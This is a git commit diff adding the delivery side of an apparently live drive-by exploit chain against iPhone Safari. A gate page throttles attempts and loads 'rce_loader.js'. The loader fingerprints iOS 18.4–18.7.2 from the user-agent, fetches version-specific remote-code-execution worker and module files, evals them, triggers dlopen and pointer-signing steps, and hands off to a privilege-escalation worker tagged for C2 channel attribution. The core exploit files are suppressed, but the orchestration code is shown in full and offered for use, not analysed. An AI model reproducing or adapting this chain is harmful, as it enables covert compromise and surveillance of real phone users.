feat: 18
This commit is contained in:
@@ -0,0 +1,103 @@
|
||||
<!DOCTYPE html>
|
||||
<html><head><title></title></head>
|
||||
<body>
|
||||
<script>
|
||||
(function () {
|
||||
// Gofun-style gate (simplified for single-page delivery):
|
||||
// - Soft attempts: up to MAX_TRIES per window (crash/fail can reload and retry)
|
||||
// - PE lock: 10min TTL after success — blocks re-run after WebContent death
|
||||
// - PE lock sources: localStorage (redirect) OR cookie set when pe_worker.js is served
|
||||
// - ?force=1: clear state once, then strip from URL
|
||||
var MAX_TRIES = 5;
|
||||
var PE_TTL_MS = 10 * 60 * 1000;
|
||||
var K_PE = '_x_pe_done';
|
||||
var K_TRY = '_x_try';
|
||||
var K_TRY_TS = '_x_try_ts';
|
||||
|
||||
function lsGet(k) {
|
||||
try { return localStorage.getItem(k); } catch (e) { return null; }
|
||||
}
|
||||
function lsSet(k, v) {
|
||||
try { localStorage.setItem(k, v); } catch (e) {}
|
||||
}
|
||||
function lsDel(k) {
|
||||
try { localStorage.removeItem(k); } catch (e) {}
|
||||
}
|
||||
function cookieGet(name) {
|
||||
try {
|
||||
var m = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
|
||||
return m ? decodeURIComponent(m[1]) : null;
|
||||
} catch (e) { return null; }
|
||||
}
|
||||
function cookieSet(name, val, maxAgeSec) {
|
||||
try {
|
||||
document.cookie = name + '=' + encodeURIComponent(val) +
|
||||
'; Path=/; Max-Age=' + maxAgeSec + '; SameSite=Lax';
|
||||
} catch (e) {}
|
||||
}
|
||||
function cookieDel(name) {
|
||||
try { document.cookie = name + '=; Path=/; Max-Age=0; SameSite=Lax'; } catch (e) {}
|
||||
}
|
||||
function peDoneTs() {
|
||||
var a = parseInt(lsGet(K_PE) || '0', 10) || 0;
|
||||
var b = parseInt(cookieGet(K_PE) || '0', 10) || 0;
|
||||
return Math.max(a, b);
|
||||
}
|
||||
function clearAll() {
|
||||
lsDel(K_PE); lsDel(K_TRY); lsDel(K_TRY_TS); lsDel('_x_ok');
|
||||
cookieDel(K_PE);
|
||||
}
|
||||
|
||||
var force = false;
|
||||
try {
|
||||
// Drop legacy permanent gate so old sessions are not stuck forever.
|
||||
lsDel('_x_ok');
|
||||
|
||||
var q = location.search || '';
|
||||
force = /(?:^|[?&])force=1(?:&|$)/.test(q);
|
||||
if (force) {
|
||||
clearAll();
|
||||
try {
|
||||
var u = new URL(location.href);
|
||||
u.searchParams.delete('force');
|
||||
history.replaceState(null, '', u.pathname + (u.search || '') + (u.hash || ''));
|
||||
} catch (eStrip) {}
|
||||
}
|
||||
|
||||
var now = Date.now();
|
||||
var peTs = peDoneTs();
|
||||
if (peTs && (now - peTs) < PE_TTL_MS && !force) {
|
||||
// Keep both stores in sync for the remaining TTL
|
||||
lsSet(K_PE, String(peTs));
|
||||
cookieSet(K_PE, String(peTs), Math.ceil((PE_TTL_MS - (now - peTs)) / 1000));
|
||||
return; // PE success lock
|
||||
}
|
||||
if (peTs && (now - peTs) >= PE_TTL_MS) {
|
||||
lsDel(K_PE);
|
||||
cookieDel(K_PE);
|
||||
}
|
||||
|
||||
var tryN = parseInt(lsGet(K_TRY) || '0', 10) || 0;
|
||||
var tryTs = parseInt(lsGet(K_TRY_TS) || '0', 10) || 0;
|
||||
// New attempt window after PE_TTL from first try in the batch
|
||||
if (tryN > 0 && tryTs && (now - tryTs) >= PE_TTL_MS) {
|
||||
tryN = 0;
|
||||
lsDel(K_TRY);
|
||||
lsDel(K_TRY_TS);
|
||||
}
|
||||
if (tryN >= MAX_TRIES && !force) {
|
||||
return; // exhausted for this window
|
||||
}
|
||||
|
||||
tryN += 1;
|
||||
lsSet(K_TRY, String(tryN));
|
||||
if (tryN === 1 || !tryTs) lsSet(K_TRY_TS, String(now));
|
||||
} catch (e) {}
|
||||
|
||||
var s = document.createElement('script');
|
||||
s.src = 'rce_loader.js?' + Date.now();
|
||||
document.body.appendChild(s);
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,354 @@
|
||||
// Match production external (muiu38-mirror rce_loader.js): SERVER_LOG=false.
|
||||
// print() is a no-op except for reportError=true (errors still surface).
|
||||
// With true, every print() fires a SYNCHRONOUS blocking XHR to /log.html,
|
||||
// which slows the time-sensitive RCE chain and can get WebContent killed
|
||||
// before pe_worker runs — observed as the 403-log retry loop on our link.
|
||||
var SERVER_LOG = false;
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
var offsets = {};
|
||||
var slide;
|
||||
var chipset;
|
||||
var device_model;
|
||||
// Include the page directory (e.g. "/next-chain/") so desiredHost sent to the
|
||||
// worker resolves getJS() calls under the same base, not the server root.
|
||||
var localHost = location.origin + location.pathname.replace(/[^/]*$/, '').replace(/\/$/, '');
|
||||
// Per-channel patch string (X.Y.ZZ) passed from weifile.html via ?c= query param.
|
||||
// Forwarded through the exploit chain to pe_worker.js for C2 channel attribution.
|
||||
var channelCode = '';
|
||||
try {
|
||||
var m = new URLSearchParams(location.search).get('c');
|
||||
if (m) channelCode = m.toUpperCase();
|
||||
} catch (eCC) {}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
let obj = {
|
||||
id: logEntryID++,
|
||||
text: out,
|
||||
};
|
||||
if (dumphex) {
|
||||
obj.hex = 1;
|
||||
obj.text = x;
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&');
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "/log.html?" + req, false);
|
||||
xhr.send(null);
|
||||
}
|
||||
function markPeDone() {
|
||||
// 10min TTL is enforced by frame.html. Cookie is also set by delivery when
|
||||
// pe_worker.js is served (covers WebContent death before this runs).
|
||||
var ts = String(Date.now());
|
||||
try { localStorage.setItem('_x_pe_done', ts); } catch (e) {}
|
||||
try {
|
||||
document.cookie = '_x_pe_done=' + encodeURIComponent(ts) +
|
||||
'; Path=/; Max-Age=600; SameSite=Lax';
|
||||
} catch (e2) {}
|
||||
}
|
||||
function redirect() {
|
||||
// Do NOT navigate (old /404.html caused reload loops with re-entrant frame).
|
||||
markPeDone();
|
||||
try { if (typeof window.stop === 'function') window.stop(); } catch (e) {}
|
||||
}
|
||||
// Relative URLs resolve under /assets/js/; leading-/ paths use location.origin (delivery fallthrough).
|
||||
// Retries + status/length checks — plain same-origin fetch.
|
||||
function getJS(fname, method = 'GET', tries = 5) {
|
||||
const minLen = 1;
|
||||
for (let attempt = 1; attempt <= tries; attempt++) {
|
||||
try {
|
||||
let url = fname;
|
||||
if (typeof fname === 'string' && fname.startsWith('/') && localHost) {
|
||||
url = String(localHost).replace(/\/$/, '') + fname;
|
||||
}
|
||||
if (attempt > 1) {
|
||||
const sep = url.indexOf('?') >= 0 ? '&' : '?';
|
||||
url = url + sep + '_r=' + attempt;
|
||||
}
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open(method || 'GET', url, false);
|
||||
xhr.send(null);
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length >= minLen) {
|
||||
return xhr.responseText;
|
||||
}
|
||||
} catch (e) {
|
||||
// retry
|
||||
}
|
||||
}
|
||||
}
|
||||
function iosVersionKey(v) {
|
||||
if (!v) return '';
|
||||
if (typeof v === 'string') {
|
||||
if (v.indexOf('.') >= 0) return v.replace(/\./g, ',');
|
||||
return v;
|
||||
}
|
||||
if (v.join) return v.join(',');
|
||||
return String(v);
|
||||
}
|
||||
function validateStage1Handoff() {
|
||||
if (!device_model) return false;
|
||||
if (!offsets || typeof offsets !== 'object') return false;
|
||||
if (Object.keys(offsets).length < 40) return false;
|
||||
if (slide == null || slide === undefined) return false;
|
||||
try {
|
||||
if (typeof slide === 'bigint' && slide === 0n) return false;
|
||||
} catch (e) {}
|
||||
return true;
|
||||
}
|
||||
function packOffsetsForTransfer(src) {
|
||||
var out = {};
|
||||
if (!src) return out;
|
||||
try {
|
||||
for (var k in src) {
|
||||
if (!Object.prototype.hasOwnProperty.call(src, k)) continue;
|
||||
var val = src[k];
|
||||
out[k] = (val != null && val.toString) ? val.toString() : String(val);
|
||||
}
|
||||
} catch (e) {}
|
||||
return out;
|
||||
}
|
||||
function postStage1ToWorker(worker, begin, origin, desiredHost) {
|
||||
var msg = {
|
||||
type: 'stage1',
|
||||
begin: begin,
|
||||
origin: origin,
|
||||
ios_version: iosVersionKey(ios_version),
|
||||
device_model: device_model,
|
||||
chipset: chipset,
|
||||
slide: (slide != null && slide.toString) ? slide.toString() : '0',
|
||||
offsets: packOffsetsForTransfer(offsets),
|
||||
desiredHost: desiredHost,
|
||||
SERVER_LOG: SERVER_LOG,
|
||||
channelCode: channelCode
|
||||
};
|
||||
try {
|
||||
worker.postMessage(msg);
|
||||
return true;
|
||||
} catch (e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
const signal = new Uint8Array(8);
|
||||
const dlopen_worker = `(() => {
|
||||
self.onmessage = function (e) {
|
||||
const {
|
||||
type,
|
||||
data
|
||||
} = e.data;
|
||||
switch (type) {
|
||||
case 'init':
|
||||
const canvas = new OffscreenCanvas(1, 1);
|
||||
globalThis[0] = data;
|
||||
createImageBitmap(canvas).then(bitmap => {
|
||||
globalThis[1] = bitmap;
|
||||
self.postMessage(null);
|
||||
});
|
||||
break;
|
||||
case 'dlopen':
|
||||
globalThis[1].close();
|
||||
break;
|
||||
}
|
||||
};
|
||||
})();`;
|
||||
const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'});
|
||||
const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
|
||||
|
||||
// LIVE band: iOS 18.4.0 - 18.7.2
|
||||
function parseIosVersion() {
|
||||
let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1];
|
||||
if (!version) {
|
||||
const m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(navigator.userAgent);
|
||||
if (m) version = m[1];
|
||||
}
|
||||
if (version) return version.split('_').map(part => parseInt(part, 10));
|
||||
return null;
|
||||
}
|
||||
function pickLiveBand(v) {
|
||||
if (!v || !v.length) return null;
|
||||
// historical special-case retained
|
||||
if (v[0] === 18 && v[1] === 1 && (v[2] || 0) === 1) {
|
||||
return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
|
||||
}
|
||||
if (v[0] !== 18) return null;
|
||||
const min = v[1] || 0, pat = v[2] || 0;
|
||||
if (min < 4 || min > 7) return null;
|
||||
if (min === 7 && pat >= 3) return null; // 18.7.3+ patched / out of LIVE
|
||||
// 18.7.0-18.7.2: offsets live in worker; module is stub only (do not eval fake 22E/22F table)
|
||||
if (min === 7) return { worker: 'rce_worker_18.7.js', module: 'rce_module_18.7.js', stage1_rce: true, band: '18.7' };
|
||||
// 18.6.x: same — stub module + self-contained worker
|
||||
if (min === 6) return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
|
||||
// 18.4.x / 18.5.x — legacy check_attempt; rce_module.js must have 22E (18.4) + 22F76 (18.5)
|
||||
return { worker: 'rce_worker_18.4.js', module: 'rce_module.js', stage1_rce: false, band: '18.4' };
|
||||
}
|
||||
|
||||
const ios_version = parseIosVersion();
|
||||
const live_band = pickLiveBand(ios_version);
|
||||
if (!live_band) {
|
||||
print('unsupported iOS ' + (ios_version ? ios_version.join('.') : 'unknown') + ' (LIVE=18.4.0-18.7.2)', true);
|
||||
redirect();
|
||||
} else {
|
||||
let workerCode = getJS(`${live_band.worker}?${Date.now()}`);
|
||||
if (!workerCode || workerCode.length < 1000) {
|
||||
print('worker load failed: ' + live_band.worker, true);
|
||||
redirect();
|
||||
} else {
|
||||
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
|
||||
let workerBlobUrl = URL.createObjectURL(workerBlob);
|
||||
(() => {
|
||||
function doRedirect() {
|
||||
redirect();
|
||||
}
|
||||
function main() {
|
||||
const randomValues = new Uint32Array(32);
|
||||
const begin = Date.now();
|
||||
const origin = location.origin;
|
||||
const worker = new Worker(workerBlobUrl);
|
||||
const dlopen_workers = [];
|
||||
async function prepare_dlopen_workers() {
|
||||
for (let i = 1; i <= 2; ++i) {
|
||||
const worker = new Worker(dlopen_worker_url);
|
||||
dlopen_workers.push(worker);
|
||||
await new Promise(r => {
|
||||
worker.postMessage({
|
||||
type: 'init',
|
||||
data: 0x11111111 * i
|
||||
});
|
||||
worker.onmessage = r;
|
||||
});
|
||||
}
|
||||
}
|
||||
const iframe = document.createElement('iframe');
|
||||
iframe.srcdoc = '';
|
||||
iframe.style.height = 0;
|
||||
iframe.style.width = 0;
|
||||
document.body.appendChild(iframe);
|
||||
async function message_handler(e) {
|
||||
const data = e.data;
|
||||
switch (data.type) {
|
||||
case 'redirect':
|
||||
{
|
||||
markPeDone();
|
||||
doRedirect();
|
||||
break;
|
||||
}
|
||||
case 'pe_start':
|
||||
case 'pe_spawned':
|
||||
{
|
||||
// Early lock: set before pe_worker runs / WebContent dies
|
||||
markPeDone();
|
||||
break;
|
||||
}
|
||||
case 'prepare_dlopen_workers':
|
||||
{
|
||||
await prepare_dlopen_workers();
|
||||
worker.postMessage({
|
||||
type: 'dlopen_workers_prepared'
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'trigger_dlopen1':
|
||||
{
|
||||
dlopen_workers[0].postMessage({
|
||||
type: 'dlopen'
|
||||
});
|
||||
worker.postMessage({
|
||||
type: 'check_dlopen1'
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'trigger_dlopen2':
|
||||
{
|
||||
dlopen_workers[1].postMessage({
|
||||
type: 'dlopen'
|
||||
});
|
||||
worker.postMessage({
|
||||
type: 'check_dlopen2'
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'sign_pointers':
|
||||
{
|
||||
iframe.contentDocument.write('1');
|
||||
worker.postMessage({
|
||||
type: 'setup_fcall'
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'slow_fcall':
|
||||
{
|
||||
iframe.contentDocument.write('1');
|
||||
worker.postMessage({
|
||||
type: 'slow_fcall_done'
|
||||
});
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
worker.onmessage = message_handler;
|
||||
try
|
||||
{
|
||||
let rceCode = getJS(`${live_band.module}?${Date.now()}`);
|
||||
// 18.6/18.7 stage1_rce: stub module only — never eval a large offset table on page.
|
||||
// 18.4/18.5: need real rce_module.js (22E + 22F76) for check_attempt.
|
||||
if (live_band.stage1_rce) {
|
||||
if (rceCode && rceCode.length >= 500) {
|
||||
print('stage1_rce: refusing large page module ' + live_band.module + ' (len=' + rceCode.length + ') — using worker offsets', true);
|
||||
} else if (rceCode && rceCode.length >= 1) {
|
||||
try { eval(rceCode); } catch (eStub) {}
|
||||
}
|
||||
} else {
|
||||
if (!rceCode || rceCode.length < 500) {
|
||||
print('module load failed: ' + live_band.module, true);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
eval(rceCode);
|
||||
} catch (e) {
|
||||
print('module eval failed', true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
let desiredHost = "";
|
||||
desiredHost = localHost;
|
||||
// 18.6.x / 18.7.0-18.7.2: self-contained worker (stage1_rce)
|
||||
// 18.4.x / 18.5.x: check_attempt + stage1 handoff (serialized offsets)
|
||||
if(live_band.stage1_rce)
|
||||
{
|
||||
worker.postMessage({
|
||||
type: 'stage1_rce',
|
||||
desiredHost,
|
||||
randomValues,
|
||||
SERVER_LOG,
|
||||
channelCode: channelCode
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
var attempt = new check_attempt();
|
||||
function onAttemptDone(result) {
|
||||
if (!result) return;
|
||||
if (!validateStage1Handoff()) return;
|
||||
postStage1ToWorker(worker, begin, origin, desiredHost);
|
||||
}
|
||||
attempt.start().then((result) => {
|
||||
if (!result) {
|
||||
attempt.start().then(onAttemptDone).catch(function () {});
|
||||
} else {
|
||||
onAttemptDone(true);
|
||||
}
|
||||
}).catch(function () {});
|
||||
}
|
||||
}
|
||||
catch(e)
|
||||
{
|
||||
// print("Got exception on something: " + e);
|
||||
}
|
||||
}
|
||||
main();
|
||||
})();
|
||||
} // workerCode ok
|
||||
} // end live_band
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,4 @@
|
||||
// for displaying hex value
|
||||
function dummyy(x) {
|
||||
return '0x' + x.toString(16);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
// Stub for iOS 18.7 — Stage1 RCE lives in rce_worker_18.7.js (self-contained).
|
||||
// Do not ship full offsets here; page-side module is unused for stage1_rce bands.
|
||||
function dummyy(x) {
|
||||
return '0x' + x.toString(16);
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user